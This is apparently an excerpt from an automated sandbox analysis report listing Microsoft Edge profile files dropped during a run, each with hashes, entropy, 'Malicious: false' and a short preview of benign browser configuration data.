Preview:	2024/11/19-03:06:06.930 1e9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/19-03:06:06.932 1e9c Recovering log #3.2024/11/19-03:06:06.932 1e9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	3.143272870858976
Encrypted:	false
SSDEEP:	3:XgabNZo/3jBi5nvLCoOlflZAUAl:XM/TSnWZVkBl
MD5:	EB9E4AF4E5478C0DC2F9090411AF2684
SHA1:	79AD059420D1245C5E598F201A66BF3558F30772
SHA-256:	0E13B2A33CBF12C0BCD4FA85AFB4147938201726E65FAE9A2AC346DBD26D6091
SHA-512:	6AC0981F24FE76C2A1A0627C4FB2A680D6E2C8DC37CC271B3D18587BFF7BAE7AFD0AC036C3B6CEA3CA73D64AC3EBD5F7B088266E7EAB3904F747C733DB2D7269
Malicious:	false
Preview:	C.:.\.P.R.O.G.R.A.~.2.\.M.I.C.R.O.S.~.1.\.E.d.g.e.\.A.P.P.L.I.C.~.1.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090770343324748
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6/tbz8hu3VlXr4CRo1
MD5:	BE6A29DBEFB90938AC37A8ABBF95D90D
SHA1:	E35A933C0B3E0E8C91DC77B051CC69F738205A99
SHA-256:	04942147090195317421347E686F8A89D31BE2BC51123E6A8C3E3594BDA5F471
SHA-512:	820647B22393A30BDFF7AD6F342D0B8A15EF31AE929590A3F4CA296B92D81A243995FC9D8712C2B0418045A6461798236FD70E56D68958A7892D3813BE076584
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3354a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090770343324748
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6/tbz8hu3VlXr4CRo1
MD5:	BE6A29DBEFB90938AC37A8ABBF95D90D
SHA1:	E35A933C0B3E0E8C91DC77B051CC69F738205A99
SHA-256:	04942147090195317421347E686F8A89D31BE2BC51123E6A8C3E3594BDA5F471
SHA-512:	820647B22393A30BDFF7AD6F342D0B8A15EF31AE929590A3F4CA296B92D81A243995FC9D8712C2B0418045A6461798236FD70E56D68958A7892D3813BE076584
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF33559.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090770343324748
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6/tbz8hu3VlXr4CRo1
MD5:	BE6A29DBEFB90938AC37A8ABBF95D90D
SHA1:	E35A933C0B3E0E8C91DC77B051CC69F738205A99
SHA-256:	04942147090195317421347E686F8A89D31BE2BC51123E6A8C3E3594BDA5F471
SHA-512:	820647B22393A30BDFF7AD6F342D0B8A15EF31AE929590A3F4CA296B92D81A243995FC9D8712C2B0418045A6461798236FD70E56D68958A7892D3813BE076584
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF33d29.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090770343324748
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6/tbz8hu3VlXr4CRo1
MD5:	BE6A29DBEFB90938AC37A8ABBF95D90D
SHA1:	E35A933C0B3E0E8C91DC77B051CC69F738205A99
SHA-256:	04942147090195317421347E686F8A89D31BE2BC51123E6A8C3E3594BDA5F471
SHA-512:	820647B22393A30BDFF7AD6F342D0B8A15EF31AE929590A3F4CA296B92D81A243995FC9D8712C2B0418045A6461798236FD70E56D68958A7892D3813BE076584
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3633f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090770343324748
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6/tbz8hu3VlXr4CRo1
MD5:	BE6A29DBEFB90938AC37A8ABBF95D90D
SHA1:	E35A933C0B3E0E8C91DC77B051CC69F738205A99
SHA-256:	04942147090195317421347E686F8A89D31BE2BC51123E6A8C3E3594BDA5F471
SHA-512:	820647B22393A30BDFF7AD6F342D0B8A15EF31AE929590A3F4CA296B92D81A243995FC9D8712C2B0418045A6461798236FD70E56D68958A7892D3813BE076584
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF42660.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090770343324748
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6/tbz8hu3VlXr4CRo1
MD5:	BE6A29DBEFB90938AC37A8ABBF95D90D
SHA1:	E35A933C0B3E0E8C91DC77B051CC69F738205A99
SHA-256:	04942147090195317421347E686F8A89D31BE2BC51123E6A8C3E3594BDA5F471
SHA-512:	820647B22393A30BDFF7AD6F342D0B8A15EF31AE929590A3F4CA296B92D81A243995FC9D8712C2B0418045A6461798236FD70E56D68958A7892D3813BE076584
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44e3b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090770343324748
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6/tbz8hu3VlXr4CRo1
MD5:	BE6A29DBEFB90938AC37A8ABBF95D90D
SHA1:	E35A933C0B3E0E8C91DC77B051CC69F738205A99
SHA-256:	04942147090195317421347E686F8A89D31BE2BC51123E6A8C3E3594BDA5F471
SHA-512:	820647B22393A30BDFF7AD6F342D0B8A15EF31AE929590A3F4CA296B92D81A243995FC9D8712C2B0418045A6461798236FD70E56D68958A7892D3813BE076584
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ac69.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090770343324748
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6/tbz8hu3VlXr4CRo1
MD5:	BE6A29DBEFB90938AC37A8ABBF95D90D
SHA1:	E35A933C0B3E0E8C91DC77B051CC69F738205A99
SHA-256:	04942147090195317421347E686F8A89D31BE2BC51123E6A8C3E3594BDA5F471
SHA-512:	820647B22393A30BDFF7AD6F342D0B8A15EF31AE929590A3F4CA296B92D81A243995FC9D8712C2B0418045A6461798236FD70E56D68958A7892D3813BE076584
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a47770a0-cd73-4f24-ba7e-70fa9a2399e1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44018
Entropy (8bit):	6.091953675686454
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xPBvFuihDO6vP6OqlmzL9SZuXCE19Goup1Xl3jVzXrT:z/Ps+wsI7yO5Y6Qmz0ZuRhu3VlXr4CRd
MD5:	58827AAE3E5FBC152EE35331FD7B94DE
SHA1:	E683DA841E3FD7E6514B134C466A5A4B886CA1AE
SHA-256:	D73B36A99B4F9CB321D2E964DCE3857DE0C8F126B5C3C8F9E91FD841F151D662
SHA-512:	24862CE182141E8CEA24C3D738C70EEAE41676C1E817E678BF881DF08160F554295ACF56DC64FA82D8CDFD1AFAFBD933113D9EA50E98FCDEFC841E19E88D425F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b5f4f461-0923-433e-9943-15773662dd5f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090770343324748
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6/tbz8hu3VlXr4CRo1
MD5:	BE6A29DBEFB90938AC37A8ABBF95D90D
SHA1:	E35A933C0B3E0E8C91DC77B051CC69F738205A99
SHA-256:	04942147090195317421347E686F8A89D31BE2BC51123E6A8C3E3594BDA5F471
SHA-512:	820647B22393A30BDFF7AD6F342D0B8A15EF31AE929590A3F4CA296B92D81A243995FC9D8712C2B0418045A6461798236FD70E56D68958A7892D3813BE076584
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d82b7b37-b48e-40c3-8d79-b8afcd7b9fba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44653
Entropy (8bit):	6.095648314819959
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBvFuDhDO6vP6OmpntTkXEDzVH7cGoup1Xl3jVzXrT:z/Ps+wsI7yOEh6Glt/chu3VlXr4CRo4
MD5:	ADC0FCCFE3AB10D5D63F7D7D9F7EB205
SHA1:	7A24315AE1185450E60A5F7B49DDA8ADC1E61E3D
SHA-256:	ED4F45BCC1C48463199B3089AEB8F36651437BE559855BCB8176824A9BB4EA82
SHA-512:	8DE42DBAB2C5D759A0E7D9EFEBE41CB3E9E525B64717364B7BB28123B7C6C00AB704144A82396086C452897A5A9AA8FBCEA75954FE9D26B5B21D22AB63FB7F54
Malicious:	false
